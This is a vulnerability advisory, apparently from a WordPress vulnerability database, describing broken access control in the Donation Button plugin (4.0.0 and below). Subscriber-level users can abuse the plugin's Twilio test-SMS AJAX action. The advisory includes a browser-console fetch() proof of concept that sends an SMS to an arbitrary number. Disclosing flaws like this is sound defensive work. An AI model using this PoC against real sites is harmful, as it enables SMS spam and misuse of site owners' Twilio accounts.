Lucene search

K
wpvulndbLana CodesWPVDB-ID:6A3BCFB3-3EDE-459D-969F-B7B30DAFD098
HistoryNov 16, 2022 - 12:00 a.m.

Donation Button <= 4.0.0 - Subscriber+ Broken Access Control leading to SMS Spam

2022-11-1600:00:00
Lana Codes
wpscan.com
4
access control
subscriber
sms spam
nonce tokens
twilio integration

0.001 Low

EPSS

Percentile

23.5%

The plugin does not properly check for privileges and nonce tokens in its “donation_button_twilio_send_test_sms” AJAX action, which may allow any users with an account on the affected site, like subscribers, to use the plugin’s Twilio integration to send SMSes to arbitrary phone numbers.

PoC

While logged onto the site as a subscriber, paste the following in your browser’s console: fetch(‘http://localhost/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=donation_button_twilio_send_test_sms&donation;_button_twilio_sms_test_mobile_number=+36205551122&donation;_button_twilio_sms_test_message=TEXT’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
donation-buttoneq*

0.001 Low

EPSS

Percentile

23.5%

Related for WPVDB-ID:6A3BCFB3-3EDE-459D-969F-B7B30DAFD098